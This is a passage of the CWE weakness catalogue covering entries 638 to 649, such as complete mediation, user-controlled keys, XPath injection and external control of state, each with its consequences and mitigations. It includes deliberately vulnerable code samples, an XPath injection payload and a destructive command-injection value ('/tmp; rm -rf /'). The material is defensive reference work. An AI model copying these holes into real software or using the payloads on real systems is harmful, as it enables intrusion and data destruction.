Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Alternate Terms

Unnecessary Complexity

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET.
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.

Potential Mitigations

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	657	Violation of Secure Design Principles	**699** **1000**	645

Research Gaps

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (failure to handle large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Economy of Mechanism". 2005-09-13. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/348.html >.

CWE-638: Failure to Use Complete Mediation

Weakness ID: 638 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Extended Description

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

Confidentiality

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.

Demonstrative Examples

Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access

check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections.

Potential Mitigations

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	285	Improper Access Control (Authorization)	1000	310
ChildOf	Weakness	657	Violation of Secure Design Principles	**699 1000**	645
ParentOf	Weakness	*424*	*Failure to Protect Alternate Path*	***1000***	*451*

Causal Nature

Implicit

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Complete Mediation". 2005-09-12. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/346.html >.

CWE-639: Access Control Bypass Through User-Controlled Key

Weakness ID: 639 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The system's access control functionality does not prevent one user from gaining access to another user's records by modifying the key value identifying the record.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other

authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and view/modify their data.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Access control checks for specific user data or functionality can be bypassed.

Horizontal escalation of privilege is possible (one user can view/modify information of another user)

Vertical escalation of privilege is possible if the user controlled key is actually an admin flag allowing to gain administrative access

Likelihood of Exploit

High

Enabling Factors for Exploitation

The key used internally in the system to identify the user record can be externally controlled. For example attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

Potential Mitigations

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering..

Ensure that access control mechanisms cannot be bypassed by ensuring that the user has sufficient privilege to access the record that is being requested given his authenticated identity on each and every data access.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	284	Access Control (Authorization) Issues	**699 1000**	309
ChildOf	Category	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	**629**	713
ChildOf	Category	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ParentOf	Weakness Variant	*566*	*Access Control Bypass Through User-Controlled SQL Primary Key*	***699 1000***	*565*

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID: 640 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery

mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because it is too common). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system. Weak password recovery schemes completely undermine a strong password authentication scheme.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

An attacker gains unauthorized access to the system by retrieving legitimate user's authentication credentials

An attacker denies service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users

The system's security functionality is turned against the system by the attacker.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The system allows users to recover their passwords and gain access back into the system.

Password recovery mechanism relies only on something the user knows and not something the user has.

Weak security questions are used.

No third party intervention is required to use the password recovery mechanism.

Observed Examples

Description
A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

Potential Mitigations

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated

Do not use standard weak security questions and use several security questions.

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Assign a new temporary password rather than revealing the original password.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	**699**	279
ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717

Maintenance Notes

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

This entry probably needs to be split; see extended description.

CWE-641: Insufficient Filtering of File and Other Resource Names for Executable Content

Weakness ID: 641 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

When an application does not restrict the valid names of resources (e.g. files) supplied by the user, various problems may arise down the line when these resources are used.

Extended Description

For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated webpage. Or if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Execution of arbitrary code in the context of usage of the resources with dangerous names

Crash of the consumer code of these resources resulting in information leakage or denial of service

Likelihood of Exploit

Low

Enabling Factors for Exploitation

Resource names are controllable by the user.

No sufficient validation of resource names at entry points or before consumption by other processes.

Context where the resources are consumed makes execution of code possible based on the names of the supplied resources.

Observed Examples

Description
Format string vulnerability in Dia 0.94 allows user-assisted attackers to cause a denial of service (crash) and possibly execute arbitrary code by triggering errors or warnings, as demonstrated via format string

Description
specifiers in a .bmp filename. [CVE-2006-2480 available at: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2480]

Potential Mitigations

Do not allow users to control names of resources used on the server side.

Perform white list input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	99	Improper Control of Resource Identifiers ('Resource Injection')	**699 1000**	118

CWE-642: External Control of Critical State Data

Weakness ID: 642 *(Weakness Class)* **Status:** Draft

Description

Summary

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server *(Often)*

Common Consequences

Integrity

An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.

Confidentiality

The state variables may contain sensitive information that should not be known by the client.

Availability

By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.

Likelihood of Exploit

High

Enabling Factors for Exploitation

An application maintains its own state and/or user state (i.e. application is stateful).

State information can be affected by the user of an application through some means other than the legitimate state transitions (e.g. logging into the system, purchasing an item, making a payment, etc.)

An application does not have means to detect state tampering and behave in a fail safe manner.

Demonstrative Examples

Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
    authenticated = true;
  }
}
```

Example 2:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Perl Example: *Bad Code*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
  chomp;
  if (/^ENV ([\w\_]+) (.*)/) {
    $ENV{$1} = $2;
  }
  elsif (/^QUIT/) { ... }
  elsif (/^LIST/) {
    open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
    while (<$fh>) {
      SendOutput($stream, "FILEINFO: $_");
    }
    close($fh);
  }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be a whitelist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

Observed Examples

Reference	Description
CVE-1999-0073	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution.
CVE-2000-0102	Shopping cart allows price modification via hidden form field.
CVE-2000-0253	Shopping cart allows price modification via hidden form field.
CVE-2005-2428	Mail client stores password hashes for unrelated accounts in a hidden form field.
CVE-2006-7191	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
CVE-2007-4432	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable.
CVE-2008-0306	Privileged program trusts user-specified environment variable to modify critical configuration settings.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-4752	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5065	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5125	Application allows admin privileges by setting a cookie value to "admin."
CVE-2008-5642	Setting of a language preference in a cookie enables path traversal attack.
CVE-2008-5738	Calendar application allows bypass of authentication by setting a certain cookie value to 1.

Potential Mitigations

Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Architecture and Design

Do not keep state information on the client without using encryption and integrity checking, or otherwise having a mechanism on the server side to catch state tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC). Apply this against the state data that you have to expose, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that you use an algorithm with a strong hash function (CWE-328).

Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Architecture and Design

With a stateless protocol such as HTTP, use a framework that maintains the state for you.

Examples include ASP.NET View State and the OWASP ESAPI Session Management feature.

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation

Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	371	State Issues	**699**	397
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	752	Risky Resource Management	**750**	733
ParentOf	We	*15*	*External Control of System or Configuration Setting*	***1000***	*12*
ParentOf	Wc	*73*	*External Control of File Name or Path*	***1000***	*67*
RequiredBy		*352*	*Cross-Site Request Forgery (CSRF)*	*1000*	*373*
ParentOf		*426*	*Untrusted Search Path*	***1000***	*453*
ParentOf	We	*472*	*External Control of Assumed-Immutable Web Parameter*	***1000***	*493*
ParentOf	We	*565*	*Use of Cookies in Security Decision*	***1000***	*564*

Relevant Properties

- Accessibility
- Mutability
- Trustability

References

OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < http://www.owasp.org/index.php/Top_10_2007-A4 >.

CWE-643: Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')

Weakness ID: 643 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not sufficiently sanitize that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Controlling application flow (e.g. bypassing authentication)

Information disclosure

Escalation of privilege

Likelihood of Exploit

High

Enabling Factors for Exploitation

XPath queries are constructed dynamically using user supplied input

The application does not perform sufficient validation or sanitization of user supplied input

Demonstrative Examples

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

XML Example:

```
<users>
  <user>
    <login>john</login>
    <password>abracadabra</password>
    <home_dir>/home/john</home_dir>
  </user>
  <user>
    <login>cbc</login>
    <password>1mgr8</password>
    <home_dir>/home/cbc</home_dir>
  </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Java Example: *Bad Code*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Attack

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

Potential Mitigations

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	91	XML Injection (aka Blind XPath Injection)	**699** **1000**	107

Relationship Notes

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

References

Web Application Security Consortium. "XPath Injection". < http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml >.

CWE-644: Insufficient Sanitization of HTTP Headers for Scripting Syntax

Weakness ID: 644 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application does not sufficiently sanitize web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash. This allows an attacker to conduct cross-site scripting and other attacks against users who have these components enabled.

Extended Description

If an application fails to filter or escape user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Run Arbitrary Code

Information Leakage

Privilege Escalation

Likelihood of Exploit

High

Enabling Factors for Exploitation

Script execution functionality is enabled in the user's browser.

Demonstrative Examples

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to sanitization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Java Example: *Bad Code*

```
response.addHeader(HEADER_NAME, unsanitizedInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not sanitize the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks.

Potential Mitigations

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Disable script execution functionality in the clients' browser.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	116	Improper Encoding or Escaping of Output	**699** **1000**	136
ChildOf		442	Web Problems	699	468

Nature	Type	ID	Name	V	Page
ChildOf		725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	**711**	718

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID: 645 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily. This allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Common Consequences

Availability

Users could be locked out of accounts.

Likelihood of Exploit

High

Enabling Factors for Exploitation

The system has an account lockout mechanism.

An attacker must be able to trigger the account lockout mechanism.

The cost to the attacker of triggering the account lockout mechanism should be less than the cost to re-enable the account.

Observed Examples

Description
A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

Potential Mitigations

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	287	Improper Authentication	**699**	312

Nature	Type	ID	Name	V	Page
				1000	

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID: 646 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, information disclosure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Information Leakage

Denial of Service

Privilege Escalation

Likelihood of Exploit

High

Enabling Factors for Exploitation

There is reliance on file name and/or file extension on the server side for processing.

Potential Mitigations

Make decisions on the server side based on file content and not on file name or extension.

Properly configure web and applications servers.

Install the latest security patches for all of the technologies being used on the server side.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**699** **1000**	367
ChildOf	C	442	Web Problems	699	468

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID: 647 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision, then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

http://WWW.EXAMPLE.COM/mypage

http://www.example.com/%6Dypage (alternate encoding)

http://192.168.1.1/mypage (IP address)

http://www.example.com/mypage/ (trailing /)

http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Privilege Escalation

Information Leakage

Likelihood of Exploit

High

Enabling Factors for Exploitation

An application specifies its policy namespaces and access control rules based on the path information.

Alternate (but equivalent) encodings exist to represent the same path information that will be understood and accepted by the process consuming the path and granting access to resources.

Observed Examples

Description
Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings") An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

Potential Mitigations

Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	284	Access Control (Authorization) Issues	**699 1000**	309
ChildOf		442	Web Problems	699	468

CWE-648: Improper Use of Privileged APIs

Weakness ID: 648 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs is valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs fail to properly shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Elevation of privilege

Information disclosure

Arbitrary code execution

Likelihood of Exploit

Low

Enabling Factors for Exploitation

An application contains functions running processes that hold higher privileges.

There is code in the application that calls the privileged APIs.

There is a way for a user to control the data that is being passed to the privileged API or control the context from which it is being called.

Observed Examples

Description
From http://xforce.iss.net/xforce/xfdb/12848: man-db is a Unix utility that displays online help files. man-db versions 2.3.12 beta and 2.3.18 to 2.4.1 could allow a local attacker to gain privileges, caused by a vulnerability when the open_cat_stream function is called. If man-db is installed setuid, a local attacker could exploit this vulnerability to gain "man" user privileges.

Potential Mitigations

Implementation

Before calling privileged APIs, always ensure that the assumptions made by the privileged code hold true prior to making the call.

Know architecture and implementation weaknesses of the privileged APIs and make sure to account for these weaknesses before calling the privileged APIs to ensure that they can be called safely.

If privileged APIs make certain assumptions about data, context or state validity that are passed by the caller, the calling code must ensure that these assumptions have been validated prior to making the call.

If privileged APIs fail to shed their privilege prior to returning to the calling code, then calling code needs to shed these privileges immediately and safely right after the call to the privileged APIs. In particular, the calling code needs to ensure that a privileged thread of execution will never be returned to the user or made available to user-controlled processes.

Only call privileged APIs from safe, consistent and expected state.

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	1000	254
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	Wb	269	Improper Privilege Management	**1000**	295

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID: 649 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the software does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client controllable tokens or parameters, that may have an effect on the user state, system state or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary blindly traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate his or her privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application fails to protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Elevation of Privilege

Information Disclosure

Functionality Abuse

